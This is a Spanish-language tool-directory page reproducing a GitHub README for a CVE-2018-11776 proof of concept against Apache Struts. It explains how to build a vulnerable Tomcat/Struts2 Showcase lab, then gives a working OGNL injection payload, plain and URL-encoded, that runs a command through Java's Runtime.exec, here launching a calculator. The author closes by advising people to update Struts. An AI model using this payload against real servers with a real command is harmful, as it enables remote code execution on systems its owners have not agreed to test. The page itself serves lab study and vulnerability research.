Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2018-11776 — Creación de un entorno vulnerable y el PoC | Kitploit
Herramientas/GitHubGitHub/xfox64x/cve-2018-11776
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubxfox64x/cve-2018-11776

CVE-2018-11776

Creación de un entorno vulnerable y el PoC

Ver Repositorio
156hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2018-11776

Prueba de concepto de exploit para evaluar rápidamente qué tipos de protecciones y correcciones están disponibles.

Descubierto originalmente por Man Yue Mo, Semmle: https://semmle.com/news/apache-struts-CVE-2018-11776

Semmle tuvo un video de YouTube "Apache Struts RCE - CVE-2018-11776 - PoC Exploit Demo" por un tiempo, pero creo que ya no está o, al menos, ya no está enlazado a Semmle: https://www.youtube.com/watch?v=5SDNX20SLJ0

Tomé información de lo anterior y luego comencé a revisar los commits del repositorio de struts: https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

Soy demasiado vago para usar Docker o algo así...

Configuración y explotación de un host vulnerable

Descargar la última ISO de Ubuntu Desktop y crear una máquina virtual.

http://releases.ubuntu.com/18.04.1/ubuntu-18.04.1-desktop-amd64.iso?_ga=2.265574989.317727484.1535056103-825490018.1535056103

Instalar dependencias:

sudo apt-get update

sudo apt-get upgrade

sudo apt-get dist-upgrade

sudo apt-get install default-jdk vim net-tools

Configurar Tomcat:

mkdir ~/sources

cd ~/sources

wget http://mirrors.ocf.berkeley.edu/apache/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz

tar xvzf apache-tomcat-7.0.90.tar.gz

sudo mv apache-tomcat-7.0.90 /opt/tomcat

Actualizar bashrc con variables:

vim ~/.bashrc

export JAVA_HOME=/usr/lib/jvm/default-java

export CATALINA_HOME=/opt/tomcat

. ~/.bashrc

Agregar un administrador a la GUI de Tomcat:

sudo vim /opt/tomcat/conf/tomcat-users.xml

root@kitploit:~
<user username="username" password="password" roles="manager-gui,admin-gui" />

Obtener un Struts2 Showcase vulnerable para tener algo con qué trabajar:

cd ~/sources

wget http://central.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.14/struts2-showcase-2.3.14.war

Desplegar el archivo WAR a través de la GUI de Tomcat:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

Reiniciar Tomcat y verificar que Struts2 Showcase esté disponible:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

Agregar una acción de redirección vulnerable sin namespace:

vim /opt/tomcat/webapps/struts2-showcase-2.3.14/WEB-INF/classes/struts.xml

root@kitploit:~
    <action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

date.action ya está definido, así que simplemente agregamos otra acción de redirección que llama a date.action

Por defecto, alwaysSelectFullNamespace debe estar configurado en True.

Reiniciar Tomcat y comprobar la página de Struts2 Showcase:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/struts2-showcase-2.3.14/showcase.jsp

Crear expresión OGNL para hacer cosas. Hagamos lo que Semmle probablemente hizo en su video de YouTube:

%{(#_memberAccess['allowStaticMethodAccess'] = true).(#rt = @java.lang.Runtime@getRuntime()).(#rt.exec('gnome-calculator'))}

La expresión OGNL debe estar codificada en URL e insertada antes de la última '/' en la URL, apuntando a nuestra vulnerable help.action:

127.0.0.1:8080/struts2-showcase-2.3.14/<comando-codificado-aqui>/help.action

127.0.0.1:8080/struts2-showcase-2.3.14/%25%7B%28%23%5F%6D%65%6D%62%65%72%41%63%63%65%73%73%5B%27%61%6C%6C%6F%77%53%74%61%74%69%63%4D%65%74%68%6F%64%41%63%63%65%73%73%27%5D%20%3D%20%74%72%75%65%29%2E%28%23%72%74%20%3D%20%40%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%40%67%65%74%52%75%6E%74%69%6D%65%28%29%29%2E%28%23%72%74%2E%65%78%65%63%28%27%67%6E%6F%6D%65%2D%63%61%6C%63%75%6C%61%74%6F%72%27%29%29%7D/help.action

Al ejecutarlo en el host Ubuntu vulnerable, deberíamos ver una nueva instancia de calc.

Commits relacionados que corrigen el problema:

https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

Reflexiones:

Otra implementación extremadamente específica y vulnerable de struts. La cobertura mediática de esta vulnerabilidad hizo que todos se asustaran, aunque solo los códigos/configuraciones más descuidados son realmente vulnerables... No se me ocurre una manera eficiente y sigilosa de encontrar esta vulnerabilidad y/o explotarla de forma fiable. Mi recomendación: simplemente actualiza struts... (o deja de usarlo)

Descargar herramienta